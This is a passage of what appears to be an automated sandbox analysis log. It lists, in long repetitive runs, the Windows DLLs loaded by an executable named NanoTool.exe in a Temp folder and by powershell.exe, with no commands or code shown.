      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: mswsock.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: ntmarta.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: kbdus.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: nlaapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dhcpcsvc6.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: dnsapi.dllJump to behavior
      Source: C:\Users\user\AppData\Local\Temp\2pwUVUfAxOaiNAaY42by6gNEjEK\NanoTool.exeSection loaded: rasadhlp.dllJump to behavior
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
      Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
